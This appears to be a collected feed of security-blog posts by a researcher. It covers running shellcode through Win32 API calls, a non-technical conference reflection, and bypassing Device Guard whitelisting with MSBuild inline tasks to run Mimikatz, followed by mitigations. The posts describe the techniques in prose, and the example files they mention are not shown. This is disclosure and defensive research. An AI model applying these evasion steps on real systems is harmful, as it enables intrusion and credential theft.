VirtualAlloc, and CreateThread  Then leverage the built-in NumPut(Var, Address, [,offset], [,type] function to write your shellcode into memory.  High level steps are:


1. Allocate a Block of mem RWX via VirtualAlloc- The return of this is the base address of the allocation.
2. Loop through your shellcode and write each byte into the space allocated in step 1.
3. Call CreateThread


Sure enough it works perfectly.  The one caveat is that this will only execute x86 shellcode. So when you call regsvr32 or cscript against your script file, you need to call from syswow64 on an x64 system.  


Example SCT Here:
Example JS Here:
Example Dropper Fully Automated:  
^This last example downloads, registers dll, executes Shellcode.  Makes no effort to clean up.

Again, I did not write this dll, so I can only recommend you execute this in a test environment.


According to one researcher I spoke with, this is being used in the wild. So you may want to sweep your environment or logs for the hash. Unless, you have a need for your users to access win32 API this way, its probably not supposed to be there...


I also wanted to give a shout to b33f - @FuzzySec for the shellcode posts here:
This is a great blog all around.


Screen Shot 2016-08-31 at 1.57.05 PM.png

Thats all I have for today.

Cheers

Casey
@subTee

Now For Something A Bit Different...

$
0
0
I had the chance to attend a non-security conference this week.  It was the Rocky Mountain Fiction Writers Conference.  Thanks to my good friend Warren Hammond we presented on Hacking. 

“Advice? I don’t have advice. Stop aspiring and start writing. If you’re writing, you’re a writer. Write like you’re a goddamn death row inmate and the governor is out of the country and there’s no chance for a pardon. Write like you’re clinging to the edge of a cliff, white knuckles, on your last breath, and you’ve got just one last thing to say, like you’re a bird flying over us and you can see everything, and please, for God’s sake, tell us something that will save us from ourselves. Take a deep breath and tell us your deepest, darkest secret, so we can wipe our brow and know that we’re not alone. Write like you have a message from the king. Or don’t. Who knows, maybe you’re one of the lucky ones who doesn’t have to.” 


I love that quote and it makes me consider what I blog about some times, the tone and the content...

It was good for me to engage in conversations and dialogue COMPLETELY out of my normal infosec circles.  I had the chance to attend a session on "Weapon Systems Of The Future" For Science Fiction writers. 

I was struck by the conversation about how much imagination drives reality.

Here is a basic example:


I was struck with the idea, what are imagining for offense and defense.  What will our attacks and defense look like in 10-15-25 years.  

Its hard to know for sure. 

I just wonder what role does our ability to use our imagination and creativity to block/detect certain attacks.  It may not exist yet, but "What if IT DID." And if so how could we build it...

So, I've created some space this weekend to do some imagining and brainstorming on attacks and defense.  

So far I've had 1 breakthrough on the Application Whitelisting front, I hope to be able to blog about soon.  I want to prove some ideas a bit first.  

Some classic reading for DFIR


Here are some things to consider...This article was written and published in 1988...

"The intruder conjured up no new methods for breaking operating systems; rather he repeatedly applied techniques documented elsewhere. Whenever possible, he used known security holes and subtle bugs in different operating systems..."

"By studying the printouts, we developed an understanding of what the intruder was looking for. We also compared activity on different dates in order to watch him learn a new system, and inferred sites he entered through pathways we could not monitor. We observed the intruder’s familiarity with various operating systems and became familiar with his programming style. Buried in this chatter were clues to the intruder’s location and persona, but we needed to temper inferences based on traffic analysis."

And Lastly...
"Perhaps no computer or network can be totally secure. This study suggests that any operating system will be insecure when obvious security rules are ignored. From the intruder’s widespread success, it appears that users, managers, and vendors routinely fail to use sound security practices. These problems are not limited to our site or the few dozen systems that we saw penetrated, but are networkwide. Lax system management makes patching utility software or tightening a few systems ineffective. 

We found this intruder to be a competent, patient programmer, experienced in several operating systems. Alas, some system managers violate their positions of trust and confidence. Our worldwide community of digital networks requires a sense of responsibility. Unfortunately, this is missing in some technically competent people."

So, this weekend I am reflecting back and forward a bit to see where it may lead ;-)

Anyway.  Hopefully this is interesting to you you.




Thats all I have for today.

Cheers,

Casey 
@subTee







Bypassing Application Whitelisting using MSBuild.exe - Device Guard Example and Mitigations

$
0
0
I’ve said it before, but when you start down the road of Application Whitelisting, you need to take the extra steps to look at the functionality of the applications you are trusting, and see if they come with “extra features”.

By using signed Microsoft binaries, and injecting code into them, we effectively cloak our binaries so that they can execute, even under the watchful eye of Device Guard.

It is important to realize; this is a misplaced trust bypass.  The product works fine, in fact, you can even use Device Guard to mitigate against this bypass. See details below.

Device Guard is a new addition and is very effective at mitigating untrusted code. Please don’t mistake this bypass as a reason to dismiss this defense.  I highly recommend Device Guard to organizations.  For additional information, you can watch this talk:

In May of this year, I started looking into a way to bypass Device Guard. I like to start with default utilities that may be able to execute code as they are often implicitly trusted.  None of my previous AppLockerbypasses would work against Device Guard, so it was time to try something new.
 
I built up a base Windows 10 Enterprise Workstation.  An example Device Guard configuration can be found here by Matt Graeber (@mattifestation):


I found a Microsoft signed tool called MSBuild.exe. This is a default .NET utility that ships with Windows. I usually start with the question; ‘HOW could I get MSbuild to execute code for me?’.

Turns out, MSBuild.exe has a built in capability called “Inline Tasks”.  These are snippets of C# code that can be used to enrich the C# build process.  Essentially, what this does, is take an XML file, compile and execute in memory on the target, so it is not a traditional image/module execution event.

If you trust MSbuild on your system, or if it gets picked up in a “Gold” Image for Device Guard, it can be used to execute arbitrary binaries. 

Inline Task Reference:

So, I wrote a quick POC to make sure I could get my code to execute on the system, before going too far down the road.


Once I knew the code would execute via MSbuild.exe, I set out to wrap Mimikatz into a file to allow it to execute inside of MSBuild.exe. This wasn’t too hard, since I had done something like this for InstallUtil.exe last year.  I also wrote a utility to remove PowerShell Constrained Language mode, if needed.


Examples:  Tested on Windows 10 x64 Only - 
1.)   Hello World!
2.)   Remove Constrained Language Mode in PowerShell
3.)   Mimikatz Execute -
b.)   Note: This simply executes Mimikatz, it does NOT bypass Credential Guard.


Mitigations:
You will need to monitor execution of this tool in your environment. It is my belief, that you will likely not need this tool on devices that run Device Guard, but it will be up to you to monitor execution events to determine that.  Tools like Sysmon or even Device Guard in Audit Mode.
Also monitoring 4688 events

One documented mitigation solution using Device Guard is to follow the guidance in Matt’s blog reference below to be certain that untrustworthy binaries don’t execute.


Matt has also created a sample configuration to block these types of binaries.  This can be found here:



Here is what I have been trying to say for some time…"If you authorize things to run that that can then be used to run arbitrary code, then it can bypass many whitelisting applications. This means for a real lockdown administrators need to block these types of binaries.  MsBuild.exe being the latest in a growing list of default tools that behave this way."

If you find these types of files, help us catalog how they work and we can deploy proper mitigations. I will be posting these only when I have the vetted mitigation details ready for defenders.

Proof of Concept Video:  With Music ;-)


That’s all I have for today.


Cheers,


Casey
@subTee

Viewing all 45 articles
Browse latest View live